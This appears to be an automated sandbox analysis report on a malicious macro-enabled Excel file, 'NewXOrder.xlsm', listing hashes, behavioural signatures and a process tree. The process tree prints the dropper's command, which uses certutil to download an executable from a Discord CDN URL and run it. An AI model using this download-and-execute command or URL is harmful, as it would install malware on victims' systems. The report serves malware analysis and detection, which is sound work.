Analysis

  • max time kernel
    100s
  • max time network
    107s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    15-08-2022 06:51

General

  • Target

    NewXOrder.xlsm

  • Size

    42KB

  • MD5

    1f972129c268128a9e63b03f166cd65a

  • SHA1

    e19b5eed24f6d881338793e9f7218ff99c1d7981

  • SHA256

    b80d30b287b4ba5c153bac042a1a9eec6d746181b893717cbcb05ed3180d8d71

  • SHA512

    421fc17d3bb396d84907190a46df51851ddfafc7549e15f728f4a549d27f9fe2ab2723e0126599f260c58a3e165a5e128cc677a0cdeb7839e3e7e39ac6a0d90b

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\NewXOrder.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c certutil.exe -urlcache -split -f "https://cdn.discordapp.com/attachments/1006822561709047861/1008583809245126708/New_Order.exe" Dqfmwyjfhy.exe.exe && Dqfmwyjfhy.exe.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "https://cdn.discordapp.com/attachments/1006822561709047861/1008583809245126708/New_Order.exe" Dqfmwyjfhy.exe.exe
        3⤵
          PID:1744

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1896-54-0x000000002FC61000-0x000000002FC64000-memory.dmp

      Filesize

      12KB

    • memory/1896-55-0x0000000071401000-0x0000000071403000-memory.dmp

      Filesize

      8KB

    • memory/1896-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1896-57-0x0000000075201000-0x0000000075203000-memory.dmp

      Filesize

      8KB

    • memory/1896-58-0x00000000723ED000-0x00000000723F8000-memory.dmp

      Filesize

      44KB

    • memory/1896-62-0x00000000723ED000-0x00000000723F8000-memory.dmp

      Filesize

      44KB

    • memory/1896-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1896-64-0x00000000723ED000-0x00000000723F8000-memory.dmp

      Filesize

      44KB